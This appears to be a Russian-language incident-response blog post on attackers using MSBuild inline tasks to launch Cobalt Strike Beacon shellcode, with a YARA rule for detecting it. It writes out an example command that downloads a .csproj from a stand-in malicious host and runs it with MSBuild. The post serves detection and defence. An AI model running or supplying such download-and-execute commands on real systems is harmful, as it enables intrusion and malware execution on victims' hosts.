Cobalt Strike Beacon и MSBuild

Ещё в группе «Общее»
- Мы помогли Apple устранить уязвимость в ядре ее операционных систем
Мы помогли Apple устранить уязвимость в ядре ее операционных систем Эксперт PT ESC Михаил Ложников обнаружил…
- Восстановление EVTX-записей: методы карвинга
Восстановление EVTX-записей: методы карвинга 🧩 При расследовании инцидентов, когда злоумышленники шифруют образы виртуальных машин, нередко возникает…
- Операция Chewbacca
В конце июня команда PT ESC в ходе расследования инцидентов обнаружила новую группу, нацеленную как минимум…
- Ваш сервер Zimbra под угрозой
Недавно наша команда PT ESC IR столкнулась с новой атакой ransomware-группировок на почтовые серверы Zimbra с…
- Он вам не gsocket
Он вам не gsocket 😑 В ходе расследования одного из инцидентов специалисты PT ESC IR наткнулись…
🥷 Cobalt Strike Beacon и MSBuild
Практика наших расследований инцидентов показывает, что злоумышленники все еще используют Microsoft Build Engine для компиляции .NET и запуска Cobalt Strike Beacon на скомпрометированных узлах.
Предварительно на хост загружается конфигурация проекта .NET, представленная в формате XML. Конфигурация содержит в себе встроенную задачу.
Код задачи описан в структуре:
<Task> <Code Type="Fragment" Language="cs"> <![CDATA[...]]> </Code> </Task>
Задача — это блок исполняемого кода, с помощью которого MSBuild выполняет атомарные операции, которые используются разработчиками в процессе сборки проектов. В рассматриваемом случае злоумышленники используют данный механизм для запуска ВПО.
После успешной загрузки конфигурации запускается MSBuild, где параметром указан путь до конфигурации проекта. В результате на скомпрометированном хосте компилируется и запускается .NET библиотека. Она расшифровывает полезную нагрузку и вызывает функцию EnumChildWindows, которая исполняет шелл-код.
Пример запуска:
wget https://maliciouswebsite[.]com/doWqkwoown/update.csproj -O C:\Windows\Temp\update.csproj; C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\update.csproj
Yara:
rule Susp_Microsoft_Build_Engine_XML_Schema {
strings:
$s1 = "TaskFactory=\"CodeTaskFactory"
$s2 = "VirtualAllocEx(0xFFFFFFFF, 0, (UInt32)"
$e1 = "EnumChildWindows"
$e2 = "EnumDisplayMonitors"
condition:
all of ($s*) and any of ($e*)
}

#dfir #hunt #detect #yara #win
@ptescalator
Ещё в группе «Общее»
- Мы помогли Apple устранить уязвимость в ядре ее операционных систем
Мы помогли Apple устранить уязвимость в ядре ее операционных систем Эксперт PT ESC Михаил Ложников обнаружил…
- Восстановление EVTX-записей: методы карвинга
Восстановление EVTX-записей: методы карвинга 🧩 При расследовании инцидентов, когда злоумышленники шифруют образы виртуальных машин, нередко возникает…
- Операция Chewbacca
В конце июня команда PT ESC в ходе расследования инцидентов обнаружила новую группу, нацеленную как минимум…
- Ваш сервер Zimbra под угрозой
Недавно наша команда PT ESC IR столкнулась с новой атакой ransomware-группировок на почтовые серверы Zimbra с…
- Он вам не gsocket
Он вам не gsocket 😑 В ходе расследования одного из инцидентов специалисты PT ESC IR наткнулись…



